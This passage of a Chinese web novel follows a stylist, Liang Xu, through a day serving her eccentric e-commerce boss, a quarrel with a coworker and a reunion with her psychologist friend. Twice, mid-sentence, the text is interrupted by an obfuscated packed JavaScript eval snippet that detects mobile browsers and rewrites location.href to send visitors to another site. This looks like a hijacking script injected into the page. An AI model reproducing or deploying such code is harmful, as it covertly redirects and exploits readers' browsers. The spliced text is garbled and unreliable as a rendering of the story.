这么活虽然得罪人,反正她直接为沈钊服务,伺候好他一个人就行了,顶多再加一个李浩。其他人就算看她不顺眼,也只能私底下使绊子,或者无关痛痒地黑一黑她,决定不了她的去留。 梁絮知道自己能活得多嚣张,取决于沈钊对她的态度。他对梁絮的认可度越高,周围的人就越不敢动她。 想明白这一点的梁絮打定了主意,继续发挥人不犯我我不犯人的职场作风,为了两万块的月薪,抱紧沈霸霸的大腿,挖墙脚的同时狂刷他的信任度,把自己的根基深深地扎在这片丰饶的土地上。 鉴于头一天上班就迟到了,梁絮咬了咬牙,把闹钟定在了五点。次日闹铃响的时候,外头天还没亮。梁絮洗漱完毕往外走,白小飞听见动静,以为进了贼。他打着呵欠出来,说:“干嘛去?” 梁絮说:“上班啊。” “这才几点,”白小飞抬头看墙上的挂钟,愕然道,“半夜鸡叫,他周扒皮啊?” 梁絮说:“没办法,太远了。” 她说着出了门,挤完公交挤地铁,终于在六点五十冲进了沈钊的家。 沈钊打发时间地坐在沙发上对发/票,看了一眼手表,说:“很好,今天没迟到。” 梁絮跑的呼哧带喘,换了室内鞋,拿消毒液洗了手,然后准备为资本家服务。沈钊拿起一张发/票,念道:“茂密牌生发液,这干嘛用的?” 梁絮前阵子被朋友圈的微商忽悠,特别羡慕宝莱坞女明星一头丰密的大波浪。她觉得自己的头发不够多,于是买了一箱生发的东西。最近过了那阵子狂热期了,又懒得天天抹,于是想转卖给沈钊。 她心虚地说:“就是字面意思……防脱,生发。” 沈钊摸了摸自己的一头秀发,说:“我这头发跟狮子似的,还用生?” 梁絮陪笑道:“我经常给您做头发,卷发棒和发胶对头发还是有一定伤害的,我这是未雨绸缪,提前给您准备着。” 沈钊没理她,显然对她的鬼话不怎么信。他又拿起另外几张发/票,说:“海藻泥修护面膜、葡萄籽胶囊、蜜桃美臀霜……我就不问你别的是干嘛用的了,你给我解释一下美臀霜是几个意思?” 梁絮的囤货实在太多,搬运的时候可能夹带了一些女性专用的东西。沈钊面无表情地看着她,梁絮背后冒出了冷汗,干笑了几声说:“不是……那是我想自己用的。一块儿买的,我忘了把它拿出来了。” 沈钊哦了一声,梁絮补充了一句:“我花自己的钱买的,我是很公私分明的。” 沈钊对这一点倒不太在意,反而对美臀霜充满了兴趣,说:“你还挺在意皮肤保养的?这玩意儿有什么功效?” 梁絮尴尬的要命,只好自黑说:“我有……鸡皮肤,那个能软化角质,去除久坐导致的色素沉淀。” 沈钊沉默着想象了一下,梁絮看他表情就知道他脑补出了一个充满鸡皮肤的黝黑臀部,感觉羞耻到爆炸,坚决不能忍。 她补充道:“我现在已经没有这方面的问题了,这东西的效果不错,您要试一下吗?” 沈钊顿时没那么感兴趣了,说:“不用了,我皮肤挺好的。” 他把发/票随手搁在一边,起身道:“开始吧。” 聊了这一会儿,梁絮觉得已经虚脱了。她和沈钊去了卫生间,拿出一把全新的眉刀,用酒精消了毒,作势要给他修眉。 沈钊往后躲了一下,说:“干嘛?” 梁絮道:“给您修一下眉形。” 沈钊道:“不修,修了娘。” 梁絮哄他道:“大走势不动,就给您去去边角,保证修完让您英气逼人。” 沈钊有点被她说动了,于是默许了她的行为。梁絮先给他去了边角的杂毛,然后定出眉峰和眉尾的高度,把形状修得更加锋利明显了。 修完之后沈钊照镜子,他以前眉毛浓浓的压着眼,眉心距离太近,眉尾又散,整体显得有点凶。修完之后感觉走势更加清晰了,两道浓眉斜飞入鬓,确实挺帅的。 梁絮也欣赏地看着他,说:“您眉毛挺黑的,不用画,顶多用点眉粉就行了。” 沈钊有他的底线,说:“不画眉。” 梁絮立刻答应了,说:“好,不画就不画。” 沈钊感觉她的口气像是在哄不想打针的小朋友,有点不爽。 梁絮还算有良心,把东西卖给他,还包售后。她去拿来了海藻泥面膜和洗护三件套,给他在脸上厚厚地糊了一层,一边唠唠叨叨地说:“您脸部皮肤属于T区干燥其他部位出油的状态,根本原因在于缺水。这个海藻泥面膜能补水保湿……” 沈钊还惦记着自己脸上的痘坑,说:“我那个坑怎么办?” 梁絮忽悠道:“也能修复痘坑。” 沈钊被她糊了一脸绿泥,感觉像外星人似的,浑身上下都不自在。他看向梁絮,勾了勾手指头说:“你也来点。” 梁絮往后退了半步,说:“不要了吧,我化了妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309952|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。” 沈钊不管那么多,反正他不能一个人出洋相,抓过勺子往梁絮脸上抹了一把。梁絮没躲开,被糊了一下巴,只好说:“好了好了……我自己来。” 她洗了把脸,沈钊看着她,满意地说:“你素颜还挺好看的。” “有吗,”梁絮道,“我觉得跟化了妆没差别啊。” 沈钊笑了,说:“化了妆比较凶,还是这样干干净净的好看,像个女学生。” 梁絮不想再被他评头论足了,舀了两勺子绿泥糊在脸上,陪着老板一起敷脸。 俩人待了一会儿,沈钊百无聊赖地说:“你身材挺好的,平时坚持锻炼吗?” 梁絮说:“没事跑跑步,还做瑜伽。” 追公交也算跑步吧,她每天追车跑得比百米冲刺还激情,当然得算。 沈钊翘起二郎腿,悠闲道:“那你做个瑜伽动作来给我看看。” 梁絮:“……” 她觉得沈钊要求的太多了,简直心血来潮想什么是什么。她迟疑道:“这……不合适吧?” 沈钊说:“打发时间嘛,敷着面膜还能干什么?” 梁絮只好站在他对面,双手高举过天合掌,一腿屈起蹬住另一条腿的膝部,摆了个顶天立地的姿势,自报名称道:“大树式!” 沈钊哈哈哈地笑了,说:“很好,挺有气势的,就是太简单了点吧?” 梁絮感觉他像是在看耍猴,头上冒出了青筋,然而看在一个月两万块的份儿上,她咬牙忍住了。她说:“难点的也有,就是脸上有面膜,怕蹭身上。” 她觉得不能自己丢人,拿出手机播了一首春之歌,和善地说:“瑜伽能增加身体的柔韧性,拉伸肌肉线条,沈总要来一起学吗?” 沈钊一脸嫌弃,断然拒绝道:“不要,这是女人练的玩意儿,太娘了。” 李浩早晨拿了份文件从隔壁过来,想跟沈钊商量接下来的活动企划。家政阿姨说他在卧室,李浩还没走近,就听见屋里传来一阵优美的音乐。 梁絮前腿弓后腿蹬,上半身后仰,双臂展开向后,摆出一个嫦娥奔月的姿势,大声道:“骑马式!” 沈钊脸上糊着绿泥,在她身后有样学样地迈弓步张开双臂,向天扬起下巴颏。梁絮侧头看他,还鼓励道:“不要停止呼吸,燃烧你的卡路里!” 李浩:“……” 他敲了敲门板,沈钊回过头来,跟基友大眼瞪小眼,场面异常尴尬。 他站了起来,说:“什么事?” 李浩道:“我想跟你商量一下双十一活动的事,初步打算是从十月份开始预热,用购物积分换优惠券,全场满五百减五十。” 沈钊接过企划案,习惯性地摸下巴,沾了一手黏糊糊的海藻泥。 李浩算是服了他气了,说:“你先把脸洗了吧。” 沈钊去卫生间洗了把脸,出来拿起文件一边看,一边伸出手。梁絮没明白过来,李浩拿了支笔递给他。沈钊迅速地勾画出几点,简短地写了自己的意见,把文件还给了李浩,说:“等会儿例会上详谈。” 李浩走了,梁絮迅速给沈钊吹了头发,又给他拍水涂了个保湿霜,最后给他拿了一身休闲的搭配。沈钊今天挺听话,接过去就穿上了,一边沉默着,似乎还在想双十一的计划。 对于电商来说,双十一就是他们一年一度的大战役,绝对不能轻忽。 现在是九月份,梁絮考虑到自己的服装品牌也得同步发展,毕竟她的挣钱大计亟待实施。如果从现在开始努力,说不定能赶上这班车,好好赚一笔。 片刻司机来了,沈钊坐着他的劳斯莱斯走了。贫穷女孩儿没有资格蹭沈总的豪车,对此也毫无奢望,打算等会儿挤地铁去公司打卡坐班。这时候系统冒出了个气泡,发布了一个任务。 梁絮洗掉了脸上的海藻泥,打开系统,开始检查任务。 那个绿色的日常赚钱任务还在,新的赚钱任务又出现了。任务:三个月内,赚到二十万元。任务奖励:生命值一百天。 梁絮看着那个明晃晃的一百天,整个人都要昏过去了。 梁絮对生命的渴望无人能及,当即下定了决心,为了这一百天的奖励,拼了! 10. 第十章 梁絮到了公司,徐莉莉还没来,办公室里就她一个人。 这时候电话响了,梁絮接起来道:“你好,秘书处。” 沈钊哦了一声,说:“是你啊。刘和平还没回来吧?徐莉莉呢?” 梁絮不知道刘和平是谁,看了一眼办公室,靠窗有张桌子,应该是有人的,但是那人一直没来上班。她说:“徐莉莉还没来呢。” 沈钊说:“那你来会议室一趟吧,带上笔记本,帮我做记录。” 梁絮哦了一声,被他临时抓去当秘书使唤。梁絮带了纸笔过去,沈钊看她拿着个本子过来了,皱眉道:“你带这个干什么?” 梁絮说:“不是说带笔记本?” 沈钊有点好笑地说:“我让你带电脑,开文档加录音……纸和笔也行吧,等会儿飚一下手速,全程记录。” 梁絮答应了,进屋坐在沈钊旁边,各部门的主管陆续进来了。梁絮从员工的口中听说,前阵子财务主管私自压着工资做短期理财,被沈钊知道之后开除了,跟主管不合的副主管升官顶上,财务处大换血,招了几个新人。 沈钊让新任主管总结教训交个方案上来,以后怎么管理,定什么规矩,如何避免之前的事情再发生,得有一套自查和监督政策。 新主管提前一天把方案交上去,沈钊看了,没做表示,说第二天在例会上集中讨论。 梁絮坐在旁边,安静的仿佛不存在。财务主管把新的自查和监督制度说了,隔三差五要查账,鼓励互相检举。 梁絮感觉这样搞就有点过了,搞财务本来就是压力很大的职业,还天天防贼似的互相防着,肯定要生怨气,时间长了还要出麻烦。新主管眼看着沈钊,一副急于讨好他的态度,但显然让步太大了,沈钊并不领情。 梁絮觉得这人没摸清楚沈傲天的脾气。她听说沈钊是靠兄弟互相支撑着起家的,对于人看的很重要,如果手下犯了原则性问题,当然是绝不徇私,原地开除。但是没必要天天让大家互相抓小辫子,搞得草木皆兵,无心生产。 沈钊淡淡道:“其他人说说,你们都有什么看法。” 各部门负责人见沈钊的表情并不是特别满意,揣摩到了他的心思,纷纷站出来表达不满。一人道:“我觉得新规制定的太严格了,水至清则无鱼,这样手下人离心离德,不利于工作的开展。” 其他人纷纷附和,沈钊便从善如流地说:“既然是这样,你拿回去再修改一下。咱们公司的氛围以人为本,新规合理就行了,没必要搞得太过于严格。” 财务主管新上任,要拍沈钊的第一记马屁就被无情的驳回了,整个人都不知所措。他抹了一下脑门上的汗,答应修改之后重新提交,一边讪讪地坐了回去。 梁絮飞速记录,心里寻思沈钊让主管自己定规矩,实在有些难为人。新规太松了,主管肯定要从中谋利;规矩紧了,搞得员工怨声载道。虽然是这样,沈钊却不自己驳回,而是开会让别人来提意见,这一点借力打力就很聪明了。 做管理的人每天要处理太多事情,如果不会用巧劲儿,那要活活把自己累死。沈钊霸总当的这么顺利,除了能力和人格魅力以外,还是很有些灵巧的手段的。 往会议室里一坐,所有人都在揣摩沈钊的意思,他一个细微的表情动作,都被解读出无数个信号,实在是很威风了。 大问题解决完,沈钊拿出了早晨李浩让他看过的那份文件,跟大家商讨接下来的活动规划。半个小时之后,会议结束了,大家纷纷离开。沈钊拿过梁絮的本子,说:“记得怎么样?” 他看了一眼乱七八糟的字迹,辣眼睛似的皱起了眉头。 梁絮看别人很敬畏他,自己却对他没有那么怕的感觉,想来是他对自己也没有特别严肃过的缘故。沈钊发自内心地说:“这字真丑啊,肉眼简直无法辨认。” 梁絮觉得自己的速记是有点天书的意思,很不好意思,说:“我回去整理一下,打成文档发给您。” 沈钊便放过了她,挥手让她走了。 梁絮回了办公室,徐莉莉已经来了。她因为晚到了五分钟,错失了给沈傲天做会议记录的机会,心里愤恨不平。她斜着眼,看梁絮仿佛看害虫,恨不能从口袋里掏出一瓶杀虫剂除掉她这个祸害。 梁絮不想跟她吵架,假装不在意她的眼神,认真整理会议记录。 片刻她写完了,把邮件发给沈钊。沈钊又发了出来,说:“会议记录邮件一份,打印机复印一份,把纸拿过来。” 梁絮只好去摆弄打印机,片刻研究明白了,打印机吐了张热乎乎的文件出来。她拿着进了沈钊的办公室,沈钊笑了一下,说:“学得挺快的,以后升你当个二助什么的也不错。” 梁絮觉得他应该是在开玩笑,并不想揽多余的工作,转身出去了。 刚出门,她就听见系统叮的一声,沈钊好感加五。 梁絮挺高兴,觉得这说明自己活儿干的不错,让他挺满意。看来自己走这个勤劳能干的路线来刷他的好感,是个正确的决定。 梁絮椅子还没坐热,徐莉莉见她闲下来了,终于没忍住,开始了今天份儿的怼人。 她让梁絮去把百叶窗上的灰擦了,然后又叫她去运水。梁絮推着装水桶的小车回来时,徐莉莉正在悠闲地打磨指甲。 她翘着二郎腿,挫完了正面,吹一吹灰,再挫反面。 沈钊五分钟前出去视察了,办公室里就她一个人,徐莉莉算是可以光明正大地偷懒了。 梁絮觉得她这样实在太气人了,忍了又忍,还是没忍住。她拍了拍水桶,说:“姐妹,来搭把手。” 徐莉莉假装没听见,翘起兰花指吹了吹指甲上的灰。梁絮也懒得招呼她了,脱下了高跟鞋,弯腰扛起了水桶,虎步从她身边走过,哐的一声把二十公斤的水桶扣在饮水机上,说:“亲爱的,这屋里就咱俩人,以后干活得轮流值日了。” “别套近乎啊,谁跟你又亲又俩的。”徐莉莉睨了她一眼,“你来之前,这儿的活儿都是我一个人干的,我找谁分担过了?” 梁絮道:“你自己一个人干一个人用,现在是一个人干俩人用,当然得轮流。” 徐莉莉嗤笑道:“我是你前辈,给你派活儿是锻炼你的意志。想坐着享清福,等新人来了再说吧。” 梁絮觉得这女人真是阶级思想严重,腐朽的让人受不了。再跟她纠缠下去也没用,不如干点实事。她打开Excel画了个表格,分门别类做了各个项目,包括扫地、擦地、换水、擦窗、养护绿植等项目,按日期留出空格,然后打印了出来。 她拿着表格过去,微笑着说:“借你章用用。” 徐莉莉捂着办公室章,如同护着她的玉玺,警惕地说:“干嘛?” 梁絮抢过章在表格下头敲了个大红印子,说:“经你本人认证过了,月度值日表,作为前辈请带头遵守。” 她把表格贴在墙上,拿笔在今天日期下面的格子里哗哗签名,包括昨天扫地擦地的份儿也补签上了。 徐莉莉站起来要撕掉,横眉立目地说:“谁准你这么干了?刚来两天就想给我立规矩,你算哪根葱,啊?也不打听打听老娘是谁?” “谁啊?”梁絮扬眉,半开玩笑地说,“洪兴十三妹吗?” “什么乱七八糟的!”徐莉莉炸毛道,“我警告你,在我的地盘就得守我的规矩,不听话分分钟把你赶出去!” 沈钊从外头回来,见这俩人背地里又掐上了,简直一刻都不消停。他清了清喉咙,说:“干嘛,想体验私刑了?” 徐莉莉吓了一跳,连忙搂住了梁絮的肩膀,假装亲热地说:“没有,我们闹着玩呢呵呵呵。” 梁絮一瞬间简直感觉自己石化了,十分想把她搭在自己肩膀上的手弄下去。 沈钊打量墙上的那张纸,说:“这干嘛的,值日表?” “呦,梁絮还挺勤快,”他看着上头的签名说,“这才来了两天,把活儿都干了一遍。” 徐莉莉被抓包了,十分局促不安。她不想给男神留下欺负新人的印象,连忙说:“我们是轮流值日,这两天她干,明后天我干。” 沈钊点头道:“挺好的,责任明确,继续发扬。” 他转身进了办公室。徐莉莉立刻跟她分开了,转身拿酒精喷自己的手。梁絮一脸冷淡地说:“明后两天你值日,自己说的,可别忘了啊。” 徐莉莉翻了个白眼,觉得这新人又臭又硬,简直是自己命里的克星。梁絮看着墙上的值日表,就像打了一场胜仗,心情十分愉快。 徐莉莉站起来去灌了喷壶,没头没脑地给窗边的几盆绿萝浇水,浇完了把喷壶重重地撂在地上,在养护绿植一栏里签了个名。 梁絮没理她,专心考虑自己的事情。跟这种小喽啰斗气,简直浪费自己宝贵的生命,她现在最重要的事,就是挣钱。 她打开网页浏览回响的店铺,发现中低档服装类的钻石级店铺销量不错。她算了一下,每件毛盈利在七成左右,刨除掉其他成本,剩下也是一笔不小的数额。 她在回响上班每个月工资两万,三个月光工资就是六万。如果飞絮的网店销售额能冲一冲,运气好的话,完成三个月赚二十万的任务不是梦想。 中午梁絮去食堂吃饭,今天有炒螃蟹。她兴冲冲地端了一盘子,扭头发现李浩在旁边看着自己。她以为是自己饿虎扑食的模样吓到他了,笑了笑说:“李总您好。” 李浩过去夹菜,一边说:“怎么你做形象设计,还顺便当上瑜伽教练了?” 梁絮想起了早晨的事,有点不好意思,扯谎道:“沈总说他最近肌肉紧张,让我教他拉伸一下。” 李浩嗯了一声,提醒道:“别忘了你的本职工作。我给你的时间有限,要求你的事,一定要做到。” 梁絮感觉自己像个卧底,时刻不忘组织派给自己的任务,立刻说:“明白。” 下午梁絮待在办公室里,透过窗户看湛蓝的天,觉得世界清新而又美好。然而想起李浩给自己布置的任务,又觉得压力太大了。 沈钊有钱任性,想干什么就干什么,根本不听人招呼。自己只是一个梳洗丫头,想要改变他的审美,几乎是不可能的。但如果做不到,又要面临被李浩开除的危机。 其实被开了也没什么大不了的,顶多就是赚不到钱被系统一波带走……梁絮想着,开始苦笑,觉得自己来这一趟真是够惨的,所有人都在压迫自己,尤其是那个抖S系统。 她冥思苦想,觉得如果自己能更了解沈钊一些,说不定就可以跟他神秘的思维搭上线,获得一个跟他折中的审美,从而保住自己的工作。 她觉得自己的这个思路没有问题,于是开始搜索关于沈钊的一切资料。 她上网找了一阵子,翻到了沈钊在博鳌论坛分享创业经验的视频,就是他遭到网友群嘲的那次亮相。 这可是上过微博热搜的冥场面,梁絮怀着激动的心和颤抖的手,点开了播放键。 随着一阵掌声响起,沈钊从台下走了上去。他穿着豹纹T恤,外搭一件紫色的西装,脖子上挂着个黑金的骷髅项链,下头是一条紧身的露膝皮裤。 在场的企业家们都是西装革履,只有他穿的骚气外露。他一登台,整个会场仿佛成了他的个人摇滚演唱会。下头的观众看着他,想笑又不敢笑,有人开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309953|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始交头接耳,感觉这位青年企业家太有个性了,简直不把这个严肃的场合当回事。 他调整了一下话筒,准备发言。梁絮怀疑他开口就要吼一嗓子死了都要爱,然而沈钊演讲的时候还是挺正常的。 他微笑了一下,说:“大家好,我是沈钊,是电商回响的创始人。今天能作为青年企业家的代表,分享我的创业经验,我感到很荣幸。在座的都是同行,其中很多是我的前辈,发言如有欠缺的地方,还请各位指教。我人生中的第一桶金,是高中时期赚到的。那时候我在英语培训机构发传单,因为赚得太少,干了一周就放弃了。后来我发现某程序在推广应用,新用户注册手机绑定账号,本人可以获得十元奖励,推荐人可以获得五元。我就在电商网站上发布了个一毛钱购买十元手机话费的产品信息,让下单用户绑定信息获得奖励,同时我靠推荐获得返利,一个月就赚了三万块钱。这就是我人生中的第一桶金,也是我今天要说的主题,利用信息差制造商机。” 他的嗓音富有磁性,眼神平和坚定,在无数人的注视下侃侃而谈,态度自在的如同冬日的午后,坐在私人沙龙的壁炉前跟老朋友聊天。 他讲了自己从大学以来到现在的创业经历以及一些经验教训。聚光灯照在他身上,他的眉目俊朗,整个人就像个发光体,充满了成功男人的魅力。不需要任何花里胡哨的东西,他就已经足够吸引大家的目光了。 梁絮看了他一会儿,莫名有种与有荣焉的感觉。沈钊的思路清晰,聪明灵活,又有勇气和魄力,不但具有优秀商人的素质,更有种强烈的统帅气质。作为创业大军中的一员,她感觉沈钊的发言给自己的启发挺大。 虽然他说的都是干货,但是网友们根本没有认真地听他的发言,一律在下面哈哈哈,说他穿的太骚包,像只野鸡。 梁絮有些替他鸣不平,然而穿成这样也是他自己选择的,不能怪网友群嘲他。她觉得沈钊什么都好,就是对于衣着太过于嚣张,近乎病态,让人忍不住怀疑他在这方面有心理问题。 她越想越觉得这个思路没毛病,于是上网搜索相关案例。看了半个小时之后,没发现类似的病例。 她索性自己发了个提问,为了不被人肉出来,还对信息进行了模糊处理:“男朋友穿衣风格太夸张,总喜欢引人注目的穿着方式,而且屡教不改,是什么问题?在线等,挺急的!” 她怕没人理自己,特意悬赏一百虚拟币。重赏之下必有勇夫,半个小时之后,话题下面出现了十来个回答。 得票最高的说:“他这是谵妄症的前期表现,过几天可能会出现抽搐、幻听、幻视、健忘甚至打人的情况。建议尽快分手。” 梁絮:“……” 下面又有人说:“精神分裂了解一下——谈了一个男朋友,收获了多个人格。不丑的话可以安排他们轮流侍寝,血赚不亏。” 还有人说:“谢邀,刚下航母,人在蒙古,心理学博士在读,这种案例看过不少,不好治,建议放弃。业内人士太多,利益相关,先匿了……补充回答,有些人就是喜欢质疑,有空多努力少哔哔,承认不如别人有这么难吗?” 更有人直接复制粘贴了帕金森和老年痴呆的症状,妄图混个分,结尾还说以上内容都是手打,请楼主采纳。 梁絮觉得这帮人一点正事都没有,片刻又觉得自己也有毛病——有病不去医院,上网问网友,分分钟被诊断得绝症。 她隔着玻璃墙看了一下办公室里的沈钊,感觉他看起来挺正常的。 沈钊坐的久了,站起来伸了个懒腰,前腿弓后腿蹬,摆了个今天刚学的瑜伽动作拉伸肌肉。他做完了想起身后是玻璃墙,心虚地回头看。梁絮连忙低下头,假装什么都没发现。 梁絮想着沈钊的问题,不知道该如何解决,十分苦恼。这时候企鹅上传来了好友上线的声音,叩叩叩。 梁絮看着亮起来的头像,昵称是一朵苹果花,是她初中时代的同桌兼好闺蜜,叫方晴。 方晴是心理咨询师,大学毕业后考取了心理咨询执照,开了独立的心理咨询诊所。梁絮差点把这个人给忘了,好闺蜜这时候出现,简直是上天听到了自己的心声,派天使来拯救自己。 她兴奋地发了个探头探脑的熊猫头表情,说:“在吗?” 那边安静了一阵子,一直没回复。梁絮被她的昵称勾的饿了,从包里拿出一个从食堂顺出来的黄金帅苹果,去盥洗室洗了。她啃着苹果回来,发现对方回复了自己。 对话框里是冷冰冰的几个字:“找我干嘛?” 紧接着是个emoji生气的表情。梁絮想起从前的自己因为跟渣男在一起,状态每况愈下。方晴劝她分手,她不但不听劝,反而对闺蜜大发脾气。 她想起跟方晴吵架的情形,最激烈的时候两人争到面红耳赤。她愤然把包抡在方晴身上,吼道:“我的事不用你管,我跟你绝交了!” 方晴也气得脸红脖子粗,怒道:“好言劝不了该死的鬼!你就继续跟着他吧,我看你能活成什么样!” 如今想来,闺蜜确实是在为自己担心。可自己鬼迷心窍,不但不听劝,还狠狠地伤了她的心。 梁絮的心里开始打鼓,想:“她不会还在生气吧,她已经忘了以前那茬了吧?上帝保佑,让她忘了吧!” 聊天窗口显示一行字,正在输入…… 梁絮感觉接下来即将迎来暴风骤雨般的谴责,不敢看内容,身子往后缩了缩,十分后悔主动敲她。 这时候滴滴声响了,对话框里出现了一行字。 “再跟我说话就是狗——这狠话是你放的吧?大狗子,叫两声来给姐听听。” 11. 第十一章 梁絮感觉十分窘迫,想假装没看见,关掉企鹅装死得了。 方晴预料到她会想这么干,发信息道:“咱们已经有三个月零八天没说过话了,如果你这次装没看到,我就把你拖进黑名单,彻底让你失去在这世界上唯一的闺蜜。” 梁絮看她这个口气,好像已经没有那么生自己的气了。她试探着回道:“我错了,汪。” 方晴对于她开口就道歉的态度感觉很满意,发了个戴金链子的熊猫头的表情,霸气地说:“那行吧,我就赦免你。” 梁絮发了个递烟的表情,谄媚地说:“亲爱的,我想你了。” 方晴冷淡地说:“哦。” 梁絮说:“那什么,跟你分开的这段时间里,我反省了很多。你是心理医生,你说得对,顾平是个人渣,有他没你。所以我为了你,跟他分手了。” 方晴道:“什么叫为了我跟他分了,是为了你自己的人生!” 梁絮说:“对,为了我自己,也为了我们的友谊。” 她发了个为我们的友谊干杯的表情,说:“姐妹,为了庆祝咱们和好,我请你吃饭!” 方晴挺冷静,说:“你还有钱请我吃饭?你跟那男的交往期间都没认真搞过事业,兜里一分自己的钱都没有,分手了上哪儿找钱请客?” 梁絮感觉她跟福尔摩斯似的,整个人在她面前都像透明的一样,这职业病太吓人了。她不自在地扭了扭身子,回复道:“我刚找了个工作,有钱,待遇还不错的。” 方晴产生了好奇,说:“什么工作,正经吗?” “当然正经,我像是那种不正经的人吗!”梁絮炸毛道,“你侵犯我的人格尊严,罚你学狗叫!” 方晴便哈哈哈地笑了,乖乖地回道:“汪汪。” 梁絮说:“我五点下班,在咖啡厅等你,我把地址发给你。” 方晴说:“算了吧,在外头乱花钱。你上我办公室来,我前天刚买了青柑普洱,我泡给你喝。” 梁絮挺高兴,立刻答应了。找回了好闺蜜,就如同找回了另外一半的自己,梁絮的心里充满了喜悦。方晴一直对她很好,经常帮她出主意。有些事梁絮不知道该怎么办,去跟她一说,方晴总能帮她找到解决的方案。 更重要的是,有这样一个能理解自己的人,对她来说是十分珍贵的。 好不容易熬到了下班,目送沈钊走了之后,她立刻提起包往地铁站冲去。东倒西歪地挤了半个多小时地铁之后,梁絮走进了一条老街巷。经过一间点心铺子的时候,她犹豫了一下,停下来买了三斤香芋酥和两斤泡芙。 付钱的时候,梁絮的心在滴血,后悔自己中午没从沈霸霸的自助食堂里多顺几块绿豆糕和麻团出来,现在还要自带点心去喝茶,太亏了! 方晴跟梁絮一样,是北京土著,姥爷家的老房子拆迁,补给她一个临街的二层商铺。方晴便把房子装修了一下,挂牌成立了她的晴安心理咨询诊所。 梁絮之前经常过来找方晴聊天,一进门就有种怀念的感觉。这里的装修有种旧上海老公馆的格调,弥漫着低调的优雅庄重感。 方晴的助手已经在等她了,对她笑了一下,在前面引路说:“梁小姐,您很久都没来了。” 梁絮心想:“可不是吗,以前不上班,没事老往这儿跑,把这里当贵妇沙龙使。吵了架之后就没脸再来了。” 她对方晴还是挺惦记的,说:“她最近好吗?” 助理不愧是心理专业的高材生,立刻领悟了梁絮的潜台词,直击十环地说:“她很想你,办公桌上还放着跟你的合影。” 梁絮不好意思之余,还是挺感动的。她上了二楼,敲门进了梁絮的办公室。方晴对助理说:“把门关上,今天下班了。” 助理答应了,转身走了。梁絮好久没见她了,心里有种百感交集的感慨。对于方晴来说,她们不过是三个多月不见。对于梁絮来说,却是阔别三年多没见了。 她以为这辈子再也没机会跟她和好了,没想到迈出这一步,其实只需要一点勇气。 看得出方晴也挺想她的,过来跟她拥抱了一下,说:“来就来吧,还带什么东西。过来坐。” 她找了两个碟子,把点心放在里面。自己这边也准备了开心果和盐津梅子,四碟茶点摆在茶桌上,旁边放着一套紫砂茶具。梁絮拿起一个紫砂茶碗,用指尖抚摸,感觉烧制的很细腻,像婴儿细嫩的皮肤。 她说:“这茶具不错啊,多少钱买的?” 方晴说:“病人送的,一个有幽闭恐惧症的大姐,怕黑怕狭小空间,晚上不能一个人待。我对她跟踪治疗了两年,最近她状态好起来了,就买了这个送我。” 方晴虽然性格冷淡,却意外的有细腻关怀的一面。病人们都很信任她,也有不少人在她的帮助下恢复了健康,过上了正常的生活。 梁絮道:“舍得买这么好的壶,家里有矿吧?” 方晴淡淡地说:“有男朋友,但是没有婚姻。她男朋友在香港,一年来看她几次,基本上属于被放置的状态,也难怪她会焦虑。所以说一切心理问题都有根源。我跟她打交道的时候,经常想起你,觉得你不能再这样下去了。” 梁絮说:“你说得对,经济独立是健全人格的基石,我已经深切地意识到这一点了。” 方晴烧开了水,夹起一个塞满了熟普洱的青柑塞进壶里,注水之后倾出来烫了茶具,又注满一壶水,盖上盖子闷泡。 梁絮像仓鼠似的吃着自己买来的香芋酥,两个腮涨的鼓鼓囊囊的。拳头大的点心,她三口一个,仿佛要把本钱吃回来似的。方晴看她这没出息的样子就知道,她是真的开始自己挣钱了。 方晴说:“你现在待哪儿工作呢?” 梁絮说:“给一个电商老总搞服装穿搭,每天给他做造型,出席大场合还得给他化妆。没事帮他采购衣服,白天在办公室坐班。” 方晴哦了一声,说:“还跟你的专业有关系,薪水够吃饭吗?” “当然够啊,待遇还挺不错的。”梁絮总觉得她有点小瞧了自己,“而且老板也不难相处,是同龄人没有代沟,就是性格有点……沙雕?” 方晴扑哧一声笑了,说:“谁啊?” 梁絮又吃了个泡芙,嘴里鼓鼓囊囊地道:“沈钊,你知道他吗?” 方晴一怔,说:“就那个电商回响的老板啊?哇塞……他超帅的啊,去年还被评为想嫁TOP10,你是怎么混进去的?” 梁絮说:“就闲着无聊上招聘网站闲逛,见他招人我就去了。” 方晴:“……” 梁絮把这个天上掉馅饼的事说得这么轻描淡写,显得特别欠揍。 梁絮想了想,又补充道:“我也是过五关斩六将,凭借着自身扎实的专业素养,卓越的气质和执行能力来获得这个职务的,完全是当之无愧。” 方晴给面子地点了点头,但说实在的,还是觉得她能找到这份工作,纯属运气好。 茶泡好了,方晴把茶汤沏进茶海,又倒进小茶碗里。梁絮被酥皮噎的不轻,虚溜着喝了一口,道:“挺顺口的,还有股橘子味。” 方晴便笑了,说:“小青柑嘛,我买了两罐。你喜欢的话,带一罐回去。” 梁絮也不跟她客气,说:“好。” 她俩以前老是这么一起聊天,如今这么亲密无间地待着,有种时光倒流的感觉。梁絮很珍惜眼下的时光,方晴似乎也有同感。她注视着梁絮,说:“大狗子,以后谈恋爱之前,让我先给你掌掌眼。” 梁絮漫不经心地说:“你自己都没有男朋友呢,还帮我掌眼。” 方晴傲然地说:“我是心理专家,不需要身经百战也有一双鉴渣的慧眼。怎么你质疑国家心理咨询师考试的权威性吗?” 